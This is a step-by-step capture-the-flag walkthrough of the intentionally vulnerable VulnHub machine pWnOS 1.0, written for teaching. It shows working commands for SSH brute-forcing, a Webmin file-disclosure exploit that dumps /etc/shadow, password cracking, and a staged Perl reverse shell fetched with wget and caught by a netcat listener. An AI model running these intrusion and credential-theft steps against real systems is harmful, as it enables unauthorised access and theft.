Hello everyone! Welcome to my new video.
Today, we're exploring a vulnerable machine called "pWnOS 1.0." This
machine is part of the
pWnOS
series and is classified as an easy-level
vulnerable VM, perfect for beginners.
It’s designed for those passionate about
learning how system and application vulnerabilities can lead to system
compromise.
To get started, head over to the VulnHub
website and download the
pWnOS 1.0
image.
If you're new to VulnHub, be sure to
check out our VulnHub playlist for helpful videos that will guide you through
the process.
Let's dive in and start our exploration!
Settings Up
Once we've downloaded the image, the next
step is setting up the server in
Virtual Machine.
The downloaded image is in the form of a
zip file
, but, as mentioned in the
README
on the download page, pWnOS is made
using
VMware Workstation
.
Although I've tried to install it on
VirtualBox
, it will not automatically allocate an IP address. Therefore, it is
important to use VMware.
However, a problem arises if we use VMware since we have set up our attacking machine on VirtualBox.
Do we have to
reinstall it on VMware?
Here, I have a solution. Follow my steps to get to
know.
Before we start the process, make sure you
already have VMware installed. If not, visit this blog and follow the steps to
install it without any cost.
Since we have the zip file, we can now
extract it using
WinRAR
.
After extraction, you will see, that we have various files
that look like the previously used files of
pWnOS 1.0
on VMware.
To add the virtual machine to the
VMware
Workstation
, double-click on the VMware virtual machine file type among the
several files. It will automatically launch VMware Workstation and run it.
When VMware asks whether you copied or
moved this virtual machine on the first boot, click on "
I MOVED it!
"
Otherwise, the network settings could get messed up.
There are various settings left, so we have
to power off the machine and launch VMware again. As you can see, the
"
pWnOS
" vulnerable machine is listed in the
VMware Manager
.
As I previously mentioned, there is no need
to reinstall the
attacking machine (Kali Linux)
on VMware to access the
network. Instead, we can change the network settings to use the VirtualBox
host-only adapter.
To do this, click on “
Edit virtual machine
settings
.”
In the settings window, click on “
Network Adapter
.”
Check the box that says “
Replicate physical network connection state
.”
This ensures that the network connection state of your host machine is replicated in the virtual machine.
Now, click on the “
Configure Adapters
” button under the "
Bridged
" option.
In the adapter settings, select only the
“
VirtualBox Host-Only Ethernet Adapter
” and unmark any other adapters.
This
setting will bridge the
VMware virtual machine’s network connection
through the
VirtualBox
host-only adapter
. Click
OK
to save the settings and close the
configuration window.
By following these steps, you ensure that
both your
Kali Linux machine (in VirtualBox)
and the
pwnOS machine (in VMware)
are connected to the same host-only network, enabling them to communicate with
each other.
Now, you can start your pwnOS virtual
machine and begin your penetration testing tasks!
Finally, you'll notice that our Vulnerable
Machine is ready, with a login prompt awaiting.
Let's dive into the
fun!
Enumeration
Identifying the IP address
The initial step in our attack is
enumeration, which involves identifying the IP address of our target machine
using
NetDiscover
. To execute this, open a terminal and run "
netdiscover
-i
" followed by specifying the network interface name, which in this
case is "
eth1
."
┌──(kali㉿kali)-[~]
└─$
sudo netdiscover -i eth1
Currently scanning: 192.168.99.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.95.1 0a:00:27:00:00:0e 1 60 Unknown vendor
192.168.95.2 08:00:27:6d:78:9f 1 60 PCS Systemtechnik GmbH
192.168.95.25 00:0c:29:5e:18:c9 1 60 VMware, Inc.
From the scan results, we've obtained our target
IP address: "
192.168.95.25
."
Conduct a network scan to identify open ports
Next, we'll conduct a network scan to
identify open ports, a crucial step in the enumeration process. This helps us
understand the attack surface and strategize targeted attacks. We'll use the
popular
Nmap
tool for this task. Run:
nmap -sC -sV {Target IP address}
In this command,
- "
-sC
" is used to perform a script scan using the default set
of scripts,
- while "-sV" enables version detection, allowing us
to identify which versions are running on which port.
┌──(kali㉿kali)-[~]
└─$
nmap -sC -sV 192.168.95.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 19:50 IST
Nmap scan report for 192.168.95.25
Host is up (0.0030s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
| ssh-hostkey:
| 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
|_ 2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.26a)
| Computer name: ubuntuvm
| NetBIOS computer name:
| Domain name: nsdlab
| FQDN: ubuntuvm.NSDLAB
|_ System time: 2024-05-26T09:20:30-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h30m05s, deviation: 3h32m08s, median: 4s
|_nbstat: NetBIOS name: UBUNTUVM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.22 seconds
┌──(kali㉿kali)-[~]
└─$
After completing the network scan, we
identified five open ports:
-
Port 22/TCP: This is the standard port for
Secure Shell (SSH)
, a secure remote login protocol. It allows secure access to
the machine's command line for remote administration.
-
Port 80/TCP: This is the default port for
HTTP, the protocol used for web communication. It enables access to web
services running on the machine, potentially revealing website content or
applications.
-
Port 139 and 445/TCP: These ports are
commonly used by Samba, a
file-sharing protocol
for Windows networks. They
facilitate file sharing between Windows machines and the target device.
Unauthorized access could expose sensitive data.
-
Port 10000/TCP: This is a less common port
used by
MiniServ
, a lightweight web server. If a web server is running on this
port, it might provide access to additional services or information.
With this information, we can proceed to
explore these services for potential vulnerabilities and exploit them to gain
access to the target system. Let's use these ports to further enumerate, which
may lead us to gain a foothold on the target system.
Web Enumeration
Now, let's explore the content of the
website running on
Port 80
. To do this, open a web browser of your choice and
navigate to the
target’s IP address
in the URL bar at the top of the window.
Upon inspection, you’ll find a welcome
homepage for
pWnOS
. At the bottom of the page, there is a "
Next
"
button that leads to a help page.
Clicking on "
Next
" takes us to a
help page, which contains a form. The form includes an input field for a name
and a "
Skillz
" section with three options to select from:
noob
,
skilled noob
, and
leet hackxor
.
Let's take a closer look.
Upon entering a
name and selecting an option, the page displays a funny message, mocking the
choice made for any of the three options.
To investigate further, let's check the
page source for any clues.
However, there doesn't appear to be anything useful
there.
Since we haven't found anything significant, let's move on and enumerate
other available ports to continue our investigation.
Enumerating Samba, a file-sharing Protocol
Among the open ports,
Ports 139 and 445/TCP
are used by
Samba
, a
file-sharing protocol
for Windows networks. These ports
facilitate file sharing between Windows machines and the target device. In some
cases, developers might accidentally leave a share unprotected, allowing
unauthorized access.
To check for available shares, use the
smbclient tool in the terminal. Run the following command:
smbclient -L
<target_IP>
.
When prompted for a password, just press Enter to continue without providing a password. This will display various shared resources.
┌──(kali㉿kali)-[~]
└─$
smbclient -L 192.168.95.25
Password for [WORKGROUP\kali]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
home Disk Home Directory for vmware User
print$ Disk Printer Drivers
IPC$ IPC IPC Service (ubuntuvm)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
MSHOME UBUNTUVM
┌──(kali㉿kali)-[~]
└─$
I noticed a "
home
" share that looks interesting and
might contain useful files. Next, we will attempt to connect to the
"home" resource on the target server to retrieve the files and
directories.
┌──(kali㉿kali)-[~]
└─$
smbclient //192.168.95.25/home
Password for [WORKGROUP\kali]:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~]
└─$
smbclient //192.168.95.25/print$
Password for [WORKGROUP\kali]:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~]
└─$
smbclient //192.168.95.25/IPC$
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \>
Unfortunately, the connection failed due to an access denied
error. The same issue occurred with other shares, indicating that they are
restricted.
Enumerate the username and password by Brute forcing
Additionally, I tried enumerating usernames
and attempted a brute-force attack against these usernames.
┌──(kali㉿kali)-[~]
└─$
enum4linux -U 192.168.95.25 | tee usernames_out.txt
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun May 26 20:33:25 2024
=========================================( Target Information )=========================================
Target ........... 192.168.95.25
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.95.25 )===========================
[+] Got domain/workgroup name: MSHOME
===================================( Session Check on 192.168.95.25 )===================================
[+] Server 192.168.95.25 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.95.25 )================================
Domain Name: MSHOME
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=======================================( Users on 192.168.95.25 )=======================================
index: 0x1 RID: 0x3f2 acb: 0x00000010 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x402 acb: 0x00000010 Account: proxy Name: proxy Desc: (null)
index: 0x4 RID: 0x4b2 acb: 0x00000010 Account: syslog Name: (null) Desc: (null)
index: 0x5 RID: 0x42a acb: 0x00000010 Account: www-data Name: www-data Desc: (null)
index: 0x6 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x7 RID: 0x3fa acb: 0x00000010 Account: news Name: news Desc: (null)
index: 0x8 RID: 0x3ec acb: 0x00000010 Account: bin Name: bin Desc: (null)
index: 0x9 RID: 0x3f8 acb: 0x00000010 Account: mail Name: mail Desc: (null)
index: 0xa RID: 0x4b0 acb: 0x00000010 Account: dhcp Name: (null) Desc: (null)
index: 0xb RID: 0x3ea acb: 0x00000010 Account: daemon Name: daemon Desc: (null)
index: 0xc RID: 0x4b8 acb: 0x00000010 Account: sshd Name: (null) Desc: (null)
index: 0xd RID: 0x3f4 acb: 0x00000010 Account: man Name: man Desc: (null)
index: 0xe RID: 0x3f6 acb: 0x00000010 Account: lp Name: lp Desc: (null)
index: 0xf RID: 0x4b6 acb: 0x00000010 Account: mysql Name: MySQL Server,,, Desc: (null)
index: 0x10 RID: 0x43a acb: 0x00000010 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0x11 RID: 0x42c acb: 0x00000010 Account: backup Name: backup Desc: (null)
index: 0x12 RID: 0x3ee acb: 0x00000010 Account: sys Name: sys Desc: (null)
index: 0x13 RID: 0x4b4 acb: 0x00000010 Account: klog Name: (null) Desc: (null)
index: 0x14 RID: 0xbb8 acb: 0x00000010 Account: vmware Name: vmware,,, Desc: (null)
index: 0x15 RID: 0x434 acb: 0x00000010 Account: list Name: Mailing List Manager Desc: (null)
index: 0x16 RID: 0x436 acb: 0x00000010 Account: irc Name: ircd Desc: (null)
index: 0x17 RID: 0x3f0 acb: 0x00000010 Account: sync Name: sync Desc: (null)
index: 0x18 RID: 0x3fc acb: 0x00000010 Account: uucp Name: uucp Desc: (null)
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b2]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[dhcp] rid:[0x4b0]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4b6]
user:[gnats] rid:[0x43a]
user:[backup] rid:[0x42c]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b4]
user:[vmware] rid:[0xbb8]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]
enum4linux complete on Sun May 26 20:33:25 2024
┌──(kali㉿kali)-[~]
└─$
Extract the username using the
awk
command-line utility.
┌──(kali㉿kali)-[~]
└─$
ls
usernames_out.txt
┌──(kali㉿kali)-[~]
└─$
grep "user:" usernames_out.txt | awk -F'[][]' '{print $2}' > usernames.txt
┌──(kali㉿kali)-[~]
└─$
Now, use this for a Bruteforce attack:
┌──(kali㉿kali)-[~]
└─$
hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.95.25
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-26 20:57:50
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 344265576 login tries (l:24/p:14344399), ~21516599 tries per task
[DATA] attacking ssh://192.168.95.25:22/
[ERROR] could not connect to ssh://192.168.95.25:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]
┌──(kali㉿kali)-[~]
└─$
However, this
approach was unsuccessful as the system is highly secure and does not permit
brute-force attacks.
There is only one port left for us to
explore.
Enumerating the MiniServ WebMin Httpd server
Port 10000
is used by MiniServ, a
lightweight web server
.
10000/tcp open http
MiniServ 0.01 (Webmin httpd)
|_http-title:
Site doesn't have a title (text/html; Charset=iso-8859-1).
Since it is running a web server, it might provide
access to additional services or information. On the web browser, Add the port number after
the
target's IP address
in your web browser's URL bar, followed by a colon.
Upon accessing the web server, you will be
prompted to enter a username and password to log in to
Webmin
.
Webmin is a
free, open-source, web-based control panel
for managing Unix-like systems. It
allows users to configure operating system internals and control open-source
applications through a web browser interface.
The
Webmin login panel
appears to be an old
or outdated version, which could be a security risk. To check for
vulnerabilities, we can use Nmap's scripting engine.
┌──(kali㉿kali)-[~]
└─$
nmap -p 10000 --script http-vuln-* 192.168.95.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 21:13 IST
Nmap scan report for 192.168.95.25
Host is up (0.0014s latency).
PORT STATE SERVICE
10000/tcp open snet-sensor-mgmt
| http-vuln-cve2006-3392:
| VULNERABLE:
| Webmin File Disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2006-3392
| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
| to bypass the removal of "../" directory traversal sequences.
|
| Disclosure date: 2006-06-29
| References:
| http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
| http://www.exploit-db.com/exploits/1997/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
┌──(kali㉿kali)-[~]
└─$
Running a
Nmap
scan with the
http-vuln-*
script reveals a potential vulnerability (
CVE-2006-3392
) in Webmin on port
10000. This vulnerability allows unauthorized file disclosure on the target
machine.
Since we've identified a potential
vulnerability, we should proceed to exploit it to gain a foothold on the target
server.
Exploiting (CVE-2006-3392)
To download the exploit file, click on the
provided
Exploit-DB
link. This will redirect you to the page where you can
download the exploit.
Click on the download link to obtain the file.
Once downloaded, it is important to check
if there is any modification required.
Next, we need to run the exploit and check
its options. To do this, use PHP to execute the exploit
file. Open a terminal and run it using php followed by the exploit file.
┌──(kali㉿kali)-[~/Downloads]
└─$
php 1997.php
PHP Warning: Undefined array key 1 in /home/kali/Downloads/1997.php on line 10
PHP Warning: Undefined array key 2 in /home/kali/Downloads/1997.php on line 11
PHP Warning: Undefined array key 3 in /home/kali/Downloads/1997.php on line 12
PHP Warning: Undefined array key 4 in /home/kali/Downloads/1997.php on line 13
Usage php webmin.php HOST PORT HTTP/HTTPS FILE
Example :
php webmin.php localhost 10000 http /etc/shadow
Coded by joffer , http://securitydot.net
# milw0rm.com [2006-07-09]
┌──(kali㉿kali)-[~/Downloads]
└─$
The exploit will guide us to provide
several pieces of information.
php webmin.php {Target IP address} {Target Port} {http or https} {Specify the File path}
-
First, we have to
Enter the target machine's IP
address
.
-
Next, we have to
specify the port number
, in our case, 10000.
-
Next, we
have to
specify the connection type, if it is, HTTP or HTTPS
.
-
In the end, we
have to
mention the path of the file, which we want to access
. Here, I am
looking for
/etc/shadow/
.
┌──(kali㉿kali)-[~/Downloads]
└─$
php 1997.php 192.168.95.25 10000 http /etc/shadow
Upon execution, if you encounter a fatal
error related to the
curl_init()
function, it
indicates that the
php-curl
extension is not
installed on our Kali Linux system. To fix this issue, install
php-curl
.
┌──(kali㉿kali)-[~/Downloads]
└─$
sudo apt install php-curl
After installing the required extension,
try running the exploit again. If everything is set up correctly, the exploit
should work as expected.
┌──(kali㉿kali)-[~/Downloads]
└─$
php 1997.php 192.168.95.25 10000 http /etc/shadow
Attacking 192.168.95.25
---------------------------------
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
---------------------------------
Coded by joffer , http://securitydot.net
# milw0rm.com [2006-07-09]
┌──(kali㉿kali)-[~/Downloads]
└─$
With no issues remaining, you can now
proceed to use the exploit to gain a foothold on the target system.
Foothold
To gain a foothold, we'll extract the hash
file from
/etc/shadow
and
/etc/passwd
, using
the
unshadow
command-line utility.
Cracking Passwords to Gain Initial Access
First, copy the contents of the shadow file
obtained during exploitation and paste it into a text editor. Save this file
locally.
Next, retrieve the contents of the
/etc/passwd
file, and save it to another file.
┌──(kali㉿kali)-[~/Downloads]
└─$
php 1997.php 192.168.95.25 10000 http /etc/passwd
Attacking 192.168.95.25
---------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
---------------------------------
Coded by joffer , http://securitydot.net
# milw0rm.com [2006-07-09]
┌──(kali㉿kali)-[~/Downloads]
└─$
Both files are ready!
With both files ready,
use the
unshadow
tool to combine them and extract the hashes.
┌──(kali㉿kali)-[~]
└─$
unshadow passwd shadow > pwnos-hash
┌──(kali㉿kali)-[~]
└─$
Now that we have a hash file, So, we can
able to perform a dictionary attack against the hash file using
John The
Ripper
.
┌──(kali㉿kali)-[~]
└─$
john --wordlist=/usr/share/wordlists/rockyou.txt pwnos-hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h4ckm3 (vmware)
1g 0:00:06:48 77.19% (ETA: 21:48:00) 0.002450g/s 26614p/s 125081c/s 125081C/s JAHJA..JAEWILLIAMS
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
┌──(kali㉿kali)-[~]
└─$
Upon Successful extraction, we discovered the password
"
h4ckm3
" for the username "
VMware
".
Having valid credentials, let's establish
an SSH session using these credentials.
┌──(kali㉿kali)-[~]
└─$
ssh vmware@192.168.95.25
vmware@192.168.95.25's password:
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sun May 26 11:17:22 2024 from 192.168.95.3
vmware@ubuntuvm:~$
Attempting to connect via SSH was
successful. With the SSH session established, the next
step is to locate any flags.
vmware@ubuntuvm:~$
ls -al
total 28
drwxr-xr-x 3 vmware vmware 4096 2008-06-19 10:11 .
drwxr-xr-x 6 root root 4096 2008-06-11 09:26 ..
-rw------- 1 vmware vmware 70 2024-05-26 11:17 .bash_history
-rw-r--r-- 1 vmware vmware 220 2008-06-10 07:10 .bash_logout
-rw-r--r-- 1 vmware vmware 2298 2008-06-10 07:10 .bashrc
-rw-r--r-- 1 vmware vmware 566 2008-06-10 07:10 .profile
drwx------ 2 vmware vmware 4096 2008-06-12 11:19 .ssh
-rw-r--r-- 1 vmware vmware 0 2008-06-10 12:43
.sudo_as_admin_successful
vmware@ubuntuvm:~$
Upon listing files and directories, no flags were
found. But there is a file “
.sudo as admin
successful
”, which may be helpful for us.
vmware@ubuntuvm:~$
cat .sudo_as_admin_successful
vmware@ubuntuvm:~$
But, there is no content hidden, so
it is not very helpful for us.
I suspect there may be other users are
there, to verify my guess, let’s navigate to the home directory to check if
there were other users.
vmware@ubuntuvm:~$
cd /home
vmware@ubuntuvm:/home$
ls -al
total 24
drwxr-xr-x 6 root root 4096 2008-06-11 09:26 .
drwxr-xr-x 21 root root 4096 2008-06-10 06:37 ..
drwxr-xr-x 3 obama obama 4096 2008-06-19 10:10 obama
drwxr-xr-x 2 osama osama 4096 2008-06-11 11:18 osama
drwxr-xr-x 3 vmware vmware 4096 2008-06-19 10:11 vmware
drwxr-xr-x 2 yomama yomama 4096 2008-06-11 11:27 yomama
vmware@ubuntuvm:/home$
Yes, there is:
Obama
,
osama
,
yomana
.
vmware@ubuntuvm:/home$
cd obama/
vmware@ubuntuvm:/home/obama$
ls -al
total 16
drwxr-xr-x 3 obama obama 4096 2008-06-19 10:10 .
drwxr-xr-x 6 root root 4096 2008-06-11 09:26 ..
-rw------- 1 obama obama 42 2008-06-19 10:10 .bash_history
drwx------ 2 obama obama 4096 2008-06-12 11:22 .ssh
vmware@ubuntuvm:/home/obama$
cd /home/osama/
vmware@ubuntuvm:/home/osama$
ls -al
total 12
drwxr-xr-x 2 osama osama 4096 2008-06-11 11:18 .
drwxr-xr-x 6 root root 4096 2008-06-11 09:26 ..
-rw-r--r-- 1 osama osama 49 2008-06-11 11:36 .bash_history
vmware@ubuntuvm:/home/osama$
cd /home/yomama/
vmware@ubuntuvm:/home/yomama$
ls -al
total 12
drwxr-xr-x 2 yomama yomama 4096 2008-06-11 11:27 .
drwxr-xr-x 6 root root 4096 2008-06-11 09:26 ..
-rw------- 1 yomama yomama 29 2008-06-11 11:27 .bash_history
vmware@ubuntuvm:/home/yomama$
Accessing each user's directory, revealed
no flags.
Privilege Escalation Using File Disclosure Vulnerability
During privilege escalation, the initial
step involves gathering system information to pinpoint potential
vulnerabilities or misconfigurations that could grant higher access privileges,
ultimately leading to root access.
To begin, we need to examine the
permissions assigned to users to assess their privileges on the system. This
can be achieved by executing commands like "
sudo -l
" to view
the commands the current user can run with elevated privileges.
vmware@ubuntuvm:/home/yomama$
sudo -l
[sudo] password for vmware:
Sorry, user vmware may not run sudo on ubuntuvm.
vmware@ubuntuvm:/home/yomama$
In this case, it appears that the user
"
vmware
" does not have permission to use
sudo
. Let's gather more details by checking the
kernel version using the "
uname -a
" command.
vmware@ubuntuvm:/home/yomama$
uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 1686 GNU/Linux
vmware@ubuntuvm:/home/yomama$
This command provides information about the
kernel version, which can be useful for identifying known vulnerabilities.
Although this system is vulnerable to local
privilege escalation exploits, we will not be using them for this particular
exercise. Instead, we'll focus on another method.
If you look closely, when we previously
extracted the target machine’s shadow file using the file disclosure
vulnerability, it worked immediately. However, on the established SSH session,
trying to view the shadow file results in a permission-denied error.
This
indicates that the
file disclosure vulnerability
allows actions with root
permissions.
It means that if we can execute a reverse shell
script by taking advantage of this vulnerability, potentially giving us root
access.
Craft and deploy a
reverse shell CGI script
Here's how we can craft and deploy a
reverse shell CGI script
.
Why Craft and Use a CGI
Script?
CGI scripts
can be executed by web
servers, and placing a reverse shell in such a script allows us to run
arbitrary commands on the target system remotely. By downloading and executing
the script via the file disclosure vulnerability, we will be able to exploit the
system’s ability to run external scripts.
First, we have to locate the
Perl reverse
shell script
. Once we have located the
Perl reverse shell
script, Copy the Perl reverse shell script and rename it to
pshell.cgi
.
┌──(kali㉿kali)-[~]
└─$
locate perl-reverse-shell
/usr/share/webshells/perl/perl-reverse-shell.pl
┌──(kali㉿kali)-[~]
└─$
cp /usr/share/webshells/perl/perl-reverse-shell.pl pshell.cgi
┌──(kali㉿kali)-[~]
└─$
Now, we have to edit the Script. Open
pshell.cgi
in a text editor. Update the script to use your Kali Linux host-only
IP address.
This IP address will be where the reverse shell will connect back
to. Check and, if necessary, modify the
listening port to match the port you will use for the
Netcat listener
. Save the
edited script with the new settings.
This ensures that the reverse shell script
will connect back to your
Kali Linux system
on the correct IP address and port
when executed.
Now, we have to send this file to the target
system, so we need to start a simple HTTP server using Python. This server listens
on port 8000 and allows clients to download files from it.
┌──(kali㉿kali)-[~]
└─$
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now, on the target system shell, which we
previously established using SSH, we will use w get to download the
pshell.cgi
script from the
HTTP server
. Before that, change the directory to
/tmp
. Now,
run
wget
to download the script.
This command fetches the file from the Python
HTTP server and saves it to the
/tmp
directory.
vmware@ubuntuvm:/home/yomama$
cd /tmp
vmware@ubuntuvm:/tmp$
wget http://192.168.95.3:8000/pshell.cgi
--13:52:15-- http://192.168.95.3:8000/pshell.cgi
=> `pshell.cgi'
Connecting to 192.168.95.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,715 (3.6K) [application/octet-stream]
100%[============================================================================================>] 3,715 --.--K/s
13:52:15 (87.11 MB/s) - `
pshell.cgi
' saved [3715/3715]
vmware@ubuntuvm:/tmp$
Now, it is important to check, if
pshell.cgi
has the correct permissions to be executable. If not, we have to
set the correct permissions to make the script executable.
vmware@ubuntuvm:/tmp$
ls -al
total 24
drwxrwxrwt 3 0 root 4096 2024-05-26 13:52 .
drwxr-xr-x 21 0 root 4096 2008-06-10 06:37 ..
-rw-r--r-- 1 vmware vmware 1122 2024-05-26 13:23 passwd.bak
-rw-r--r--
1 vmware vmware 3715 2024-05-26 13:50 pshell.cgi
-rw------- 1 0 root 29 2024-05-26 09:18 sqlN7RiLy
drwxr-xr-x 2 0 root 4096 2024-05-26 09:18 .winbindd
vmware@ubuntuvm:/tmp$
chmod 755 pshell.cgi
vmware@ubuntuvm:/tmp$
Before running the exploit, start a
Netcat
listener
on your Kali Linux system to receive the reverse shell connection.
┌──(kali㉿kali)-[~]
└─$
nc -lvnp 1234
listening on [any] 1234 ...
This command sets up a listener on
port 1234
for incoming connections from the
reverse shell script
.
Now, use the
PHP file disclosure
vulnerability
to execute the
pshell.cgi
script on the target
system. This will trigger the reverse shell and connect back to your Netcat
listener.
┌──(kali㉿kali)-[~/Downloads]
└─$
php 1997.php 192.168.95.25 10000 http /tmp/pshell.cgi
